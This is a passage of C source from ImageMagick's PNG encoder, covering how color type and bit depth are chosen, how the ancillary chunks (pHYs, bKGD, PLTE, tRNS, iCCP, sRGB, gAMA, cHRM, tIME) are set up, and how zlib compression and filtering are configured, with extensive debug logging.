ping_height=(png_uint_32) image->rows; if (mng_info->write_png8 || mng_info->write_png24 || mng_info->write_png32) image_depth=8; if (mng_info->write_png48 || mng_info->write_png64) image_depth=16; if (mng_info->write_png_depth != 0) image_depth=mng_info->write_png_depth; /* Adjust requested depth to next higher valid depth if necessary */ if (image_depth > 8) image_depth=16; if ((image_depth > 4) && (image_depth < 8)) image_depth=8; if (image_depth == 3) image_depth=4; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " width=%.20g",(double) ping_width); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " height=%.20g",(double) ping_height); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image_matte=%.20g",(double) image->alpha_trait); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->depth=%.20g",(double) image->depth); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Tentative ping_bit_depth=%.20g",(double) image_depth); } save_image_depth=image_depth; ping_bit_depth=(png_byte) save_image_depth; #if defined(PNG_pHYs_SUPPORTED) if (ping_exclude_pHYs == MagickFalse) { if ((image->resolution.x != 0) && (image->resolution.y != 0) && (!mng_info->write_mng || !mng_info->equal_physs)) { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up pHYs chunk"); if (image->units == PixelsPerInchResolution) { ping_pHYs_unit_type=PNG_RESOLUTION_METER; ping_pHYs_x_resolution= (png_uint_32) ((100.0*image->resolution.x+0.5)/2.54); ping_pHYs_y_resolution= (png_uint_32) ((100.0*image->resolution.y+0.5)/2.54); } else if (image->units == PixelsPerCentimeterResolution) { ping_pHYs_unit_type=PNG_RESOLUTION_METER; ping_pHYs_x_resolution=(png_uint_32) (100.0*image->resolution.x+0.5); ping_pHYs_y_resolution=(png_uint_32) (100.0*image->resolution.y+0.5); } else { ping_pHYs_unit_type=PNG_RESOLUTION_UNKNOWN; ping_pHYs_x_resolution=(png_uint_32) image->resolution.x; ping_pHYs_y_resolution=(png_uint_32) image->resolution.y; } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Set up PNG pHYs chunk: xres: %.20g, yres: %.20g, units: %d.", (double) ping_pHYs_x_resolution,(double) ping_pHYs_y_resolution, (int) ping_pHYs_unit_type); ping_have_pHYs = MagickTrue; } } #endif if (ping_exclude_bKGD == MagickFalse) { if ((!mng_info->adjoin || !mng_info->equal_backgrounds)) { unsigned int mask; mask=0xffff; if (ping_bit_depth == 8) mask=0x00ff; if (ping_bit_depth == 4) mask=0x000f; if (ping_bit_depth == 2) mask=0x0003; if (ping_bit_depth == 1) mask=0x0001; ping_background.red=(png_uint_16) (ScaleQuantumToShort(image->background_color.red) & mask); ping_background.green=(png_uint_16) (ScaleQuantumToShort(image->background_color.green) & mask); ping_background.blue=(png_uint_16) (ScaleQuantumToShort(image->background_color.blue) & mask); ping_background.gray=(png_uint_16) ping_background.green; } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up bKGD chunk (1)"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " background_color index is %d", (int) ping_background.index); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " ping_bit_depth=%d",ping_bit_depth); } ping_have_bKGD = MagickTrue; } /* Select the color type. */ matte=image_matte; old_bit_depth=0; if (mng_info->IsPalette && mng_info->write_png8) { /* To do: make this a function cause it's used twice, except for reducing the sample depth from 8. */ number_colors=image_colors; ping_have_tRNS=MagickFalse; /* Set image palette. */ ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up PLTE chunk with %d colors (%d)", number_colors, image_colors); for (i=0; i < (ssize_t) number_colors; i++) { palette[i].red=ScaleQuantumToChar(image->colormap[i].red); palette[i].green=ScaleQuantumToChar(image->colormap[i].green); palette[i].blue=ScaleQuantumToChar(image->colormap[i].blue); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), #if MAGICKCORE_QUANTUM_DEPTH == 8 " %3ld (%3d,%3d,%3d)", #else " %5ld (%5d,%5d,%5d)", #endif (long) i,palette[i].red,palette[i].green,palette[i].blue); } ping_have_PLTE=MagickTrue; image_depth=ping_bit_depth; ping_num_trans=0; if (matte != MagickFalse) { /* Identify which colormap entry is transparent. */ assert(number_colors <= 256); assert(image->colormap != NULL); for (i=0; i < (ssize_t) number_transparent; i++) ping_trans_alpha[i]=0; ping_num_trans=(unsigned short) (number_transparent + number_semitransparent); if (ping_num_trans == 0) ping_have_tRNS=MagickFalse; else ping_have_tRNS=MagickTrue; } if (ping_exclude_bKGD == MagickFalse) { /* * Identify which colormap entry is the background color. */ for (i=0; i < (ssize_t) MagickMax(1L*number_colors-1L,1L); i++) if (IsPNGColorEqual(ping_background,image->colormap[i])) break; ping_background.index=(png_byte) i; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " background_color index is %d", (int) ping_background.index); } } } /* end of write_png8 */ else if (mng_info->write_png_colortype == 1) { image_matte=MagickFalse; ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY; } else if (mng_info->write_png24 || mng_info->write_png48 || mng_info->write_png_colortype == 3) { image_matte=MagickFalse; ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB; } else if (mng_info->write_png32 || mng_info->write_png64 || mng_info->write_png_colortype == 7) { image_matte=MagickTrue; ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB_ALPHA; } else /* mng_info->write_pngNN not specified */ { image_depth=ping_bit_depth; if (mng_info->write_png_colortype != 0) { ping_color_type=(png_byte) mng_info->write_png_colortype-1; if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA || ping_color_type == PNG_COLOR_TYPE_RGB_ALPHA) image_matte=MagickTrue; else image_matte=MagickFalse; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PNG colortype %d was specified:",(int) ping_color_type); } else /* write_png_colortype not specified */ { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Selecting PNG colortype:"); ping_color_type=(png_byte) ((matte != MagickFalse)? PNG_COLOR_TYPE_RGB_ALPHA:PNG_COLOR_TYPE_RGB); if (image_info->type == TrueColorType) { ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB; image_matte=MagickFalse; } if (image_info->type == TrueColorAlphaType) { ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB_ALPHA; image_matte=MagickTrue; } if (image_info->type == PaletteType || image_info->type == PaletteAlphaType) ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE; if (mng_info->write_png_colortype == 0 && image_info->type == UndefinedType) { if (ping_have_color == MagickFalse) { if (image_matte == MagickFalse) { ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY; image_matte=MagickFalse; } else { ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY_ALPHA; image_matte=MagickTrue; } } else { if (image_matte == MagickFalse) { ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB; image_matte=MagickFalse; } else { ping_color_type=(png_byte) PNG_COLOR_TYPE_RGBA; image_matte=MagickTrue; } } } } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Selected PNG colortype=%d",ping_color_type); if (ping_bit_depth < 8) { if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA || ping_color_type == PNG_COLOR_TYPE_RGB || ping_color_type == PNG_COLOR_TYPE_RGB_ALPHA) ping_bit_depth=8; } old_bit_depth=ping_bit_depth; if (ping_color_type == PNG_COLOR_TYPE_GRAY) { if (image->alpha_trait == UndefinedPixelTrait && ping_have_non_bw == MagickFalse) ping_bit_depth=1; } if (ping_color_type == PNG_COLOR_TYPE_PALETTE) { size_t one = 1; ping_bit_depth=1; if (image->colors == 0) { /* DO SOMETHING */ png_error(ping,"image has 0 colors"); } while ((int) (one << ping_bit_depth) < (ssize_t) image_colors) ping_bit_depth <<= 1; } if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Number of colors: %.20g",(double) image_colors); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Tentative PNG bit depth: %d",ping_bit_depth); } if (ping_bit_depth < (int) mng_info->write_png_depth) ping_bit_depth = mng_info->write_png_depth; } image_depth=ping_bit_depth; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Tentative PNG color type: %s (%.20g)", PngColorTypeToString(ping_color_type), (double) ping_color_type); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image_info->type: %.20g",(double) image_info->type); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image_depth: %.20g",(double) image_depth); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->depth: %.20g",(double) image->depth); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " ping_bit_depth: %.20g",(double) ping_bit_depth); } if (matte != MagickFalse) { if (mng_info->IsPalette) { if (mng_info->write_png_colortype == 0) { ping_color_type=PNG_COLOR_TYPE_GRAY_ALPHA; if (ping_have_color != MagickFalse) ping_color_type=PNG_COLOR_TYPE_RGBA; } /* * Determine if there is any transparent color. */ if (number_transparent + number_semitransparent == 0) { /* No transparent pixels are present. Change 4 or 6 to 0 or 2. */ image_matte=MagickFalse; if (mng_info->write_png_colortype == 0) ping_color_type&=0x03; } else { unsigned int mask; mask=0xffff; if (ping_bit_depth == 8) mask=0x00ff; if (ping_bit_depth == 4) mask=0x000f; if (ping_bit_depth == 2) mask=0x0003; if (ping_bit_depth == 1) mask=0x0001; ping_trans_color.red=(png_uint_16) (ScaleQuantumToShort(image->colormap[0].red) & mask); ping_trans_color.green=(png_uint_16) (ScaleQuantumToShort(image->colormap[0].green) & mask); ping_trans_color.blue=(png_uint_16) (ScaleQuantumToShort(image->colormap[0].blue) & mask); ping_trans_color.gray=(png_uint_16) (ScaleQuantumToShort(GetPixelInfoIntensity(image, image->colormap)) & mask); ping_trans_color.index=(png_byte) 0; ping_have_tRNS=MagickTrue; } if (ping_have_tRNS != MagickFalse) { /* * Determine if there is one and only one transparent color * and if so if it is fully transparent. */ if (ping_have_cheap_transparency == MagickFalse) ping_have_tRNS=MagickFalse; } if (ping_have_tRNS != MagickFalse) { if (mng_info->write_png_colortype == 0) ping_color_type &= 0x03; /* changes 4 or 6 to 0 or 2 */ if (image_depth == 8) { ping_trans_color.red&=0xff; ping_trans_color.green&=0xff; ping_trans_color.blue&=0xff; ping_trans_color.gray&=0xff; } } } else { if (image_depth == 8) { ping_trans_color.red&=0xff; ping_trans_color.green&=0xff; ping_trans_color.blue&=0xff; ping_trans_color.gray&=0xff; } } } matte=image_matte; if (ping_have_tRNS != MagickFalse) image_matte=MagickFalse; if ((mng_info->IsPalette) && mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_PALETTE && ping_have_color == MagickFalse && (image_matte == MagickFalse || image_depth >= 8)) { size_t one=1; if (image_matte != MagickFalse) ping_color_type=PNG_COLOR_TYPE_GRAY_ALPHA; else if (mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_GRAY_ALPHA) { ping_color_type=PNG_COLOR_TYPE_GRAY; if (save_image_depth == 16 && image_depth == 8) { if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Scaling ping_trans_color (0)"); } ping_trans_color.gray*=0x0101; } } if (image_depth > MAGICKCORE_QUANTUM_DEPTH) image_depth=MAGICKCORE_QUANTUM_DEPTH; if ((image_colors == 0) || ((ssize_t) (image_colors-1) > (ssize_t) MaxColormapSize)) image_colors=(int) (one << image_depth); if (image_depth > 8) ping_bit_depth=16; else { ping_bit_depth=8; if ((int) ping_color_type == PNG_COLOR_TYPE_PALETTE) { if(!mng_info->write_png_depth) { ping_bit_depth=1; while ((int) (one << ping_bit_depth) < (ssize_t) image_colors) ping_bit_depth <<= 1; } } else if (ping_color_type == PNG_COLOR_TYPE_GRAY && image_colors < 17 && mng_info->IsPalette) { /* Check if grayscale is reducible */ int depth_4_ok=MagickTrue, depth_2_ok=MagickTrue, depth_1_ok=MagickTrue; for (i=0; i < (ssize_t) image_colors; i++) { unsigned char intensity; intensity=ScaleQuantumToChar(image->colormap[i].red); if ((intensity & 0x0f) != ((intensity & 0xf0) >> 4)) depth_4_ok=depth_2_ok=depth_1_ok=MagickFalse; else if ((intensity & 0x03) != ((intensity & 0x0c) >> 2)) depth_2_ok=depth_1_ok=MagickFalse; else if ((intensity & 0x01) != ((intensity & 0x02) >> 1)) depth_1_ok=MagickFalse; } if (depth_1_ok && mng_info->write_png_depth <= 1) ping_bit_depth=1; else if (depth_2_ok && mng_info->write_png_depth <= 2) ping_bit_depth=2; else if (depth_4_ok && mng_info->write_png_depth <= 4) ping_bit_depth=4; } } image_depth=ping_bit_depth; } else if (mng_info->IsPalette) { number_colors=image_colors; if (image_depth <= 8) { /* Set image palette. */ ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE; if (!(mng_info->have_write_global_plte && matte == MagickFalse)) { for (i=0; i < (ssize_t) number_colors; i++) { palette[i].red=ScaleQuantumToChar(image->colormap[i].red); palette[i].green= ScaleQuantumToChar(image->colormap[i].green); palette[i].blue=ScaleQuantumToChar(image->colormap[i].blue); } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up PLTE chunk with %d colors", number_colors); ping_have_PLTE=MagickTrue; } /* color_type is PNG_COLOR_TYPE_PALETTE */ if (mng_info->write_png_depth == 0) { size_t one; ping_bit_depth=1; one=1; while ((one << ping_bit_depth) < (size_t) number_colors) ping_bit_depth <<= 1; } ping_num_trans=0; if (matte != MagickFalse) { /* * Set up trans_colors array. */ assert(number_colors <= 256); ping_num_trans=(unsigned short) (number_transparent + number_semitransparent); if (ping_num_trans == 0) ping_have_tRNS=MagickFalse; else { if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Scaling ping_trans_color (1)"); } ping_have_tRNS=MagickTrue; for (i=0; i < ping_num_trans; i++) { ping_trans_alpha[i]= (png_byte) ScaleQuantumToChar(image->colormap[i].alpha); } } } } } else { if (image_depth < 8) image_depth=8; if ((save_image_depth == 16) && (image_depth == 8)) { if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Scaling ping_trans_color from (%d,%d,%d)", (int) ping_trans_color.red, (int) ping_trans_color.green, (int) ping_trans_color.blue); } ping_trans_color.red*=0x0101; ping_trans_color.green*=0x0101; ping_trans_color.blue*=0x0101; ping_trans_color.gray*=0x0101; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " to (%d,%d,%d)", (int) ping_trans_color.red, (int) ping_trans_color.green, (int) ping_trans_color.blue); } } } if (ping_bit_depth < (ssize_t) mng_info->write_png_depth) ping_bit_depth = (ssize_t) mng_info->write_png_depth; /* Adjust background and transparency samples in sub-8-bit grayscale files. */ if (ping_bit_depth < 8 && ping_color_type == PNG_COLOR_TYPE_GRAY) { png_uint_16 maxval; size_t one=1; maxval=(png_uint_16) ((one << ping_bit_depth)-1); if (ping_exclude_bKGD == MagickFalse) { ping_background.gray=(png_uint_16) ((maxval/65535.)* (ScaleQuantumToShort(((GetPixelInfoIntensity(image, &image->background_color))) +.5))); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up bKGD chunk (2)"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " background_color index is %d", (int) ping_background.index); ping_have_bKGD = MagickTrue; } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Scaling ping_trans_color.gray from %d", (int)ping_trans_color.gray); ping_trans_color.gray=(png_uint_16) ((maxval/255.)*( ping_trans_color.gray)+.5); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " to %d", (int)ping_trans_color.gray); } if (ping_exclude_bKGD == MagickFalse) { if (mng_info->IsPalette && (int) ping_color_type == PNG_COLOR_TYPE_PALETTE) { /* Identify which colormap entry is the background color. */ number_colors=image_colors; for (i=0; i < (ssize_t) MagickMax(1L*number_colors,1L); i++) if (IsPNGColorEqual(image->background_color,image->colormap[i])) break; ping_background.index=(png_byte) i; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up bKGD chunk with index=%d",(int) i); } if (i < (ssize_t) number_colors) { ping_have_bKGD = MagickTrue; if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " background =(%d,%d,%d)", (int) ping_background.red, (int) ping_background.green, (int) ping_background.blue); } } else /* Can't happen */ { if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " No room in PLTE to add bKGD color"); ping_have_bKGD = MagickFalse; } } } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PNG color type: %s (%d)", PngColorTypeToString(ping_color_type), ping_color_type); /* Initialize compression level and filtering. */ if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up deflate compression"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Compression buffer size: 32768"); } png_set_compression_buffer_size(ping,32768L); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Compression mem level: 9"); png_set_compression_mem_level(ping, 9); /* Untangle the "-quality" setting: Undefined is 0; the default is used. Default is 75 10's digit: 0 or omitted: Use Z_HUFFMAN_ONLY strategy with the zlib default compression level 1-9: the zlib compression level 1's digit: 0-4: the PNG filter method 5: libpng adaptive filtering if compression level > 5 libpng filter type "none" if compression level <= 5 or if image is grayscale or palette 6: libpng adaptive filtering 7: "LOCO" filtering (intrapixel differing) if writing a MNG, otherwise "none". Did not work in IM-6.7.0-9 and earlier because of a missing "else". 8: Z_RLE strategy (or Z_HUFFMAN_ONLY if quality < 10), adaptive filtering. Unused prior to IM-6.7.0-10, was same as 6 9: Z_RLE strategy (or Z_HUFFMAN_ONLY if quality < 10), no PNG filters Unused prior to IM-6.7.0-10, was same as 6 Note that using the -quality option, not all combinations of PNG filter type, zlib compression level, and zlib compression strategy are possible. This will be addressed soon in a release that accomodates "-define png:compression-strategy", etc. */ quality=image_info->quality == UndefinedCompressionQuality ? 75UL : image_info->quality; if (quality <= 9) { if (mng_info->write_png_compression_strategy == 0) mng_info->write_png_compression_strategy = Z_HUFFMAN_ONLY+1; } else if (mng_info->write_png_compression_level == 0) { int level; level=(int) MagickMin((ssize_t) quality/10,9); mng_info->write_png_compression_level = level+1; } if (mng_info->write_png_compression_strategy == 0) { if ((quality %10) == 8 || (quality %10) == 9) #ifdef Z_RLE /* Z_RLE was added to zlib-1.2.0 */ mng_info->write_png_compression_strategy=Z_RLE+1; #else mng_info->write_png_compression_strategy = Z_DEFAULT_STRATEGY+1; #endif } if (mng_info->write_png_compression_filter == 0) mng_info->write_png_compression_filter=((int) quality % 10) + 1; if (logging != MagickFalse) { if (mng_info->write_png_compression_level) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Compression level: %d", (int) mng_info->write_png_compression_level-1); if (mng_info->write_png_compression_strategy) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Compression strategy: %d", (int) mng_info->write_png_compression_strategy-1); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up filtering"); if (mng_info->write_png_compression_filter == 6) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Base filter method: ADAPTIVE"); else if (mng_info->write_png_compression_filter == 0 || mng_info->write_png_compression_filter == 1) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Base filter method: NONE"); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Base filter method: %d", (int) mng_info->write_png_compression_filter-1); } if (mng_info->write_png_compression_level != 0) png_set_compression_level(ping,mng_info->write_png_compression_level-1); if (mng_info->write_png_compression_filter == 6) { if (((int) ping_color_type == PNG_COLOR_TYPE_GRAY) || ((int) ping_color_type == PNG_COLOR_TYPE_PALETTE) || (quality < 50)) png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS); else png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_ALL_FILTERS); } else if (mng_info->write_png_compression_filter == 7 || mng_info->write_png_compression_filter == 10) png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_ALL_FILTERS); else if (mng_info->write_png_compression_filter == 8) { #if defined(PNG_MNG_FEATURES_SUPPORTED) && defined(PNG_INTRAPIXEL_DIFFERENCING) if (mng_info->write_mng) { if (((int) ping_color_type == PNG_COLOR_TYPE_RGB) || ((int) ping_color_type == PNG_COLOR_TYPE_RGBA)) ping_filter_method=PNG_INTRAPIXEL_DIFFERENCING; } #endif png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS); } else if (mng_info->write_png_compression_filter == 9) png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS); else if (mng_info->write_png_compression_filter != 0) png_set_filter(ping,PNG_FILTER_TYPE_BASE, mng_info->write_png_compression_filter-1); if (mng_info->write_png_compression_strategy != 0) png_set_compression_strategy(ping, mng_info->write_png_compression_strategy-1); ping_interlace_method=image_info->interlace != NoInterlace; if (mng_info->write_mng) png_set_sig_bytes(ping,8); /* Bail out if cannot meet defined png:bit-depth or png:color-type */ if (mng_info->write_png_colortype != 0) { if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_GRAY) if (ping_have_color != MagickFalse) { ping_color_type = PNG_COLOR_TYPE_RGB; if (ping_bit_depth < 8) ping_bit_depth=8; } if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_GRAY_ALPHA) if (ping_have_color != MagickFalse) ping_color_type = PNG_COLOR_TYPE_RGB_ALPHA; } if (ping_need_colortype_warning != MagickFalse || ((mng_info->write_png_depth && (int) mng_info->write_png_depth != ping_bit_depth) || (mng_info->write_png_colortype && ((int) mng_info->write_png_colortype-1 != ping_color_type && mng_info->write_png_colortype != 7 && !(mng_info->write_png_colortype == 5 && ping_color_type == 0))))) { if (logging != MagickFalse) { if (ping_need_colortype_warning != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image has transparency but tRNS chunk was excluded"); } if (mng_info->write_png_depth) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Defined png:bit-depth=%u, Computed depth=%u", mng_info->write_png_depth, ping_bit_depth); } if (mng_info->write_png_colortype) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Defined png:color-type=%u, Computed color type=%u", mng_info->write_png_colortype-1, ping_color_type); } } png_warning(ping, "Cannot write image with defined png:bit-depth or png:color-type."); } if (image_matte != MagickFalse && image->alpha_trait == UndefinedPixelTrait) { /* Add an opaque matte channel */ image->alpha_trait = BlendPixelTrait; (void) SetImageAlpha(image,OpaqueAlpha,exception); if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Added an opaque matte channel"); } if (number_transparent != 0 || number_semitransparent != 0) { if (ping_color_type < 4) { ping_have_tRNS=MagickTrue; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting ping_have_tRNS=MagickTrue."); } } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Writing PNG header chunks"); png_set_IHDR(ping,ping_info,ping_width,ping_height, ping_bit_depth,ping_color_type, ping_interlace_method,ping_compression_method, ping_filter_method); if (ping_color_type == 3 && ping_have_PLTE != MagickFalse) { png_set_PLTE(ping,ping_info,palette,number_colors); if (logging != MagickFalse) { for (i=0; i< (ssize_t) number_colors; i++) { if (i < ping_num_trans) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PLTE[%d] = (%d,%d,%d), tRNS[%d] = (%d)", (int) i, (int) palette[i].red, (int) palette[i].green, (int) palette[i].blue, (int) i, (int) ping_trans_alpha[i]); else (void) LogMagickEvent(CoderEvent,GetMagickModule(), " PLTE[%d] = (%d,%d,%d)", (int) i, (int) palette[i].red, (int) palette[i].green, (int) palette[i].blue); } } } /* Only write the iCCP chunk if we are not writing the sRGB chunk. */ if (ping_exclude_sRGB != MagickFalse || (!png_get_valid(ping,ping_info,PNG_INFO_sRGB))) { if ((ping_exclude_tEXt == MagickFalse || ping_exclude_zTXt == MagickFalse) && (ping_exclude_iCCP == MagickFalse || ping_exclude_zCCP == MagickFalse)) { ResetImageProfileIterator(image); for (name=GetNextImageProfile(image); name != (const char *) NULL; ) { profile=GetImageProfile(image,name); if (profile != (StringInfo *) NULL) { #ifdef PNG_WRITE_iCCP_SUPPORTED if ((LocaleCompare(name,"ICC") == 0) || (LocaleCompare(name,"ICM") == 0)) { ping_have_iCCP = MagickTrue; if (ping_exclude_iCCP == MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up iCCP chunk"); png_set_iCCP(ping,ping_info,(png_charp) name,0, #if (PNG_LIBPNG_VER < 10500) (png_charp) GetStringInfoDatum(profile), #else (const png_byte *) GetStringInfoDatum(profile), #endif (png_uint_32) GetStringInfoLength(profile)); } else { /* Do not write hex-encoded ICC chunk */ name=GetNextImageProfile(image); continue; } } #endif /* WRITE_iCCP */ if (LocaleCompare(name,"exif") == 0) { /* Do not write hex-encoded ICC chunk; we will write it later as an eXIf chunk */ name=GetNextImageProfile(image); continue; } (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up zTXt chunk with uuencoded %s profile", name); Magick_png_write_raw_profile(image_info,ping,ping_info, (unsigned char *) name,(unsigned char *) name, GetStringInfoDatum(profile), (png_uint_32) GetStringInfoLength(profile)); } name=GetNextImageProfile(image); } } } #if defined(PNG_WRITE_sRGB_SUPPORTED) if ((mng_info->have_write_global_srgb == 0) && ping_have_iCCP != MagickTrue && (ping_have_sRGB != MagickFalse || png_get_valid(ping,ping_info,PNG_INFO_sRGB))) { if (ping_exclude_sRGB == MagickFalse) { /* Note image rendering intent. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up sRGB chunk"); (void) png_set_sRGB(ping,ping_info,( Magick_RenderingIntent_to_PNG_RenderingIntent( image->rendering_intent))); ping_have_sRGB = MagickTrue; } } if ((!mng_info->write_mng) || (!png_get_valid(ping,ping_info,PNG_INFO_sRGB))) #endif { if (ping_exclude_gAMA == MagickFalse && ping_have_iCCP == MagickFalse && ping_have_sRGB == MagickFalse && (ping_exclude_sRGB == MagickFalse || (image->gamma < .45 || image->gamma > .46))) { if ((mng_info->have_write_global_gama == 0) && (image->gamma != 0.0)) { /* Note image gamma. To do: check for cHRM+gAMA == sRGB, and write sRGB instead. */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up gAMA chunk"); png_set_gAMA(ping,ping_info,image->gamma); } } if (ping_exclude_cHRM == MagickFalse && ping_have_sRGB == MagickFalse) { if ((mng_info->have_write_global_chrm == 0) && (image->chromaticity.red_primary.x != 0.0)) { /* Note image chromaticity. Note: if cHRM+gAMA == sRGB write sRGB instead. */ PrimaryInfo bp, gp, rp, wp; wp=image->chromaticity.white_point; rp=image->chromaticity.red_primary; gp=image->chromaticity.green_primary; bp=image->chromaticity.blue_primary; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up cHRM chunk"); png_set_cHRM(ping,ping_info,wp.x,wp.y,rp.x,rp.y,gp.x,gp.y, bp.x,bp.y); } } } if (ping_exclude_bKGD == MagickFalse) { if (ping_have_bKGD != MagickFalse) { png_set_bKGD(ping,ping_info,&ping_background); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up bKGD chunk"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " background color = (%d,%d,%d)", (int) ping_background.red, (int) ping_background.green, (int) ping_background.blue); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " index = %d, gray=%d", (int) ping_background.index, (int) ping_background.gray); } } } if (ping_exclude_pHYs == MagickFalse) { if (ping_have_pHYs != MagickFalse) { png_set_pHYs(ping,ping_info, ping_pHYs_x_resolution, ping_pHYs_y_resolution, ping_pHYs_unit_type); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Setting up pHYs chunk"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " x_resolution=%lu", (unsigned long) ping_pHYs_x_resolution); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " y_resolution=%lu", (unsigned long) ping_pHYs_y_resolution); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " unit_type=%lu", (unsigned long) ping_pHYs_unit_type); } } } #if defined(PNG_tIME_SUPPORTED) if (ping_exclude_tIME == MagickFalse) { const char *timestamp; if (image->taint == MagickFalse) { timestamp=GetImageOption(image_info,"png:tIME"); if (timestamp == (const char *) NULL) timestamp=GetImageProperty(image,"png:tIME",exception); } else { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Reset tIME in tainted image"); timestamp=GetImageProperty(image,"date:modify",exception); } if (timestamp != (const char *) NULL) write_tIME_chunk(image,ping,ping_info,timestamp,exception); } #endif if (mng_info->need_blob != MagickFalse) { if (OpenBlob(image_info,image,WriteBinaryBlobMode,exception) == MagickFalse) png_error(ping,"WriteBlob Failed"); ping_have_blob=MagickTrue; } png_write_info_before_PLTE(ping, ping_info); if (ping_have_tRNS != MagickFalse && ping_color_type < 4) { if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Calling png_set_tRNS with num_trans=%d",ping_num_trans); } if (ping_color_type == 3) (void) png_set_tRNS(ping, ping_info, ping_trans_alpha, ping_num_trans, NULL); else { (void) png_set_tRNS(ping, ping_info, NULL, 0, &ping_trans_color); if (logging != MagickFalse) { (void) LogMagickEvent(CoderEvent,GetMagickModule(), " tRNS color 